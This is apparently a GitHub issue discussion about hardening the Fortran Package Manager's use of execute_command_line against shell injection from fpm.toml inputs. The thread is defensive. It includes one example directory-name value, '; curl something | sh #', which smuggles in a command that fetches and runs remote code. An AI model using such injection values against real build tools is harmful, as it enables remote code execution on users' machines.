Since we are using execute_command_line quite a lot in Fortran fpm right now, we should think about a safe alternative for all external command invokations or a way to harden the input to execute_command_line against exploits.
Injecting bash code with directory names from fpm.toml using something like '; curl something | sh #' would be one example to exploit the current way we are handling directory names. And '; curl something | sh #' happens to be a perfectly fine directory name on Unix systems.
As this projects matures a security policy regarding those issues is needed to avoid having exploits discussed publicly in an issue.
Eventually we should be able to not resort to execute_command_line at all.
In the interim, I think it's okay to be less safe in favor of prototyping.
Eventually we should be able to not resort to
execute_command_lineat all.
Does this include execution of compiler commands as well?
I forgot about the compilers.. :)
My understanding is that typical security practices are to identify all user input, and ensure that it is sanitized immediately upon being read in. It's also important to have some understanding of the attack vectors you're trying to protect against. It's more about where the data comes from than the just the call to execute_command_line. For example execute_command_line("find ./ -name '*.f90'") is perfectly safe, but execute_command_line("find ./ -name '*." // fortran_extension // "'") would not be safe if fortran_extension comes from user input.
I'm guessing the main attack vector we're trying to protect against is a malicious fpm.toml. Conceivably, someone could put malicious code in an fpm.toml and publicize that package. Anyone listing that package as a dependency would execute the malicious code simply by building their package. So, anything being read from fpm.toml needs to be checked to make sure it is safe.
However, there is an attack vector that I'm not sure we can reasonably protect against; malicious Fortran code in a package. It will always be the responsibility of users of a package to verify that it does not contain malicious Fortran code; especially if using a package not in the official registry. By the time code is fed to the compiler or makes it into an executable, fpm is not what's executing it, and can't really do anything about it.
Also the way fpm is designed (after #155 is merged) is that the front-end parses all user input and must ensure that nothing malicious happens, and then populates the model. We should ensure that the model does not contain anything malicious. After that it is the job of the backend to properly execute the build.
Most helpful comment
My understanding is that typical security practices are to identify all user input, and ensure that it is sanitized immediately upon being read in. It's also important to have some understanding of the attack vectors you're trying to protect against. It's more about where the data comes from than the just the call to
execute_command_line. For exampleexecute_command_line("find ./ -name '*.f90'")is perfectly safe, butexecute_command_line("find ./ -name '*." // fortran_extension // "'")would not be safe iffortran_extensioncomes from user input.I'm guessing the main attack vector we're trying to protect against is a malicious
fpm.toml. Conceivably, someone could put malicious code in anfpm.tomland publicize that package. Anyone listing that package as a dependency would execute the malicious code simply by building their package. So, anything being read fromfpm.tomlneeds to be checked to make sure it is safe.However, there is an attack vector that I'm not sure we can reasonably protect against; malicious Fortran code in a package. It will always be the responsibility of users of a package to verify that it does not contain malicious Fortran code; especially if using a package not in the official registry. By the time code is fed to the compiler or makes it into an executable, fpm is not what's executing it, and can't really do anything about it.